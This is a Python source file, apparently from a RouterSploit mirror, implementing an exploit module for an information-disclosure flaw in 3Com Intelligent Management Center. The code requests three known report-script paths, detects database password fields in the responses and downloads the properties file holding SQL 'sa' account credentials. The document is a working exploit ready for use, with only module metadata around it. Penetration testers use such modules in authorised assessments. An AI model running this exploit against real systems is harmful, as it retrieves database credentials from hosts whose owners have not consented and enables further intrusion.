/routersploit/modules/exploits/routers/3com/imc_info_disclosure.py

https://github.com/reverse-shell/routersploit · Python · 69 lines · 56 code · 13 blank · 0 comment · 9 complexity · c685262611b354abba55930c133b18d3 MD5 · raw file

  1. from routersploit.core.exploit import *
  2. from routersploit.core.http.http_client import HTTPClient
  3. class Exploit(HTTPClient):
  4. __info__ = {
  5. "name": "3Com IMC Info Disclosure",
  6. "description": "Exploits 3Com Intelligent Management Center information disclosure vulnerability that allows to fetch credentials for SQL sa account",
  7. "authors": (
  8. "Richard Brain", # vulnerability discovery
  9. "Marcin Bury <marcin[at]threat9.com>", # routersploit module
  10. ),
  11. "references": (
  12. "https://www.exploit-db.com/exploits/12680/",
  13. ),
  14. "devices": (
  15. "3Com Intelligent Management Center",
  16. ),
  17. }
  18. target = OptIP("", "Target IPv4 or IPv6 address")
  19. port = OptPort(8080, "Target HTTP port")
  20. def __init__(self):
  21. self.paths = [
  22. "/imc/reportscript/sqlserver/deploypara.properties",
  23. "/rpt/reportscript/sqlserver/deploypara.properties",
  24. "/imc/reportscript/oracle/deploypara.properties"
  25. ]
  26. self.valid = None
  27. def run(self):
  28. if self.check():
  29. print_success("Target seems to be vulnerable")
  30. print_status("Sending request to download sensitive information")
  31. response = self.http_request(
  32. method="GET",
  33. path=self.valid,
  34. )
  35. if response is None:
  36. return
  37. if response.status_code == 200 and len(response.text):
  38. print_status("Reading {}".format(self.valid))
  39. print_info(response.text)
  40. else:
  41. print_error("Exploit failed - could not retrieve response")
  42. else:
  43. print_error("Exploit failed - target seems to be not vulnerable")
  44. @mute
  45. def check(self):
  46. for path in self.paths:
  47. response = self.http_request(
  48. method="GET",
  49. path=path,
  50. )
  51. if response is None:
  52. continue
  53. if any(map(lambda x: x in response.text, ["report.db.server.name", "report.db.server.sa.pass", "report.db.server.user.pass"])):
  54. self.valid = path
  55. return True # target is vulnerable
  56. return False # target not vulnerable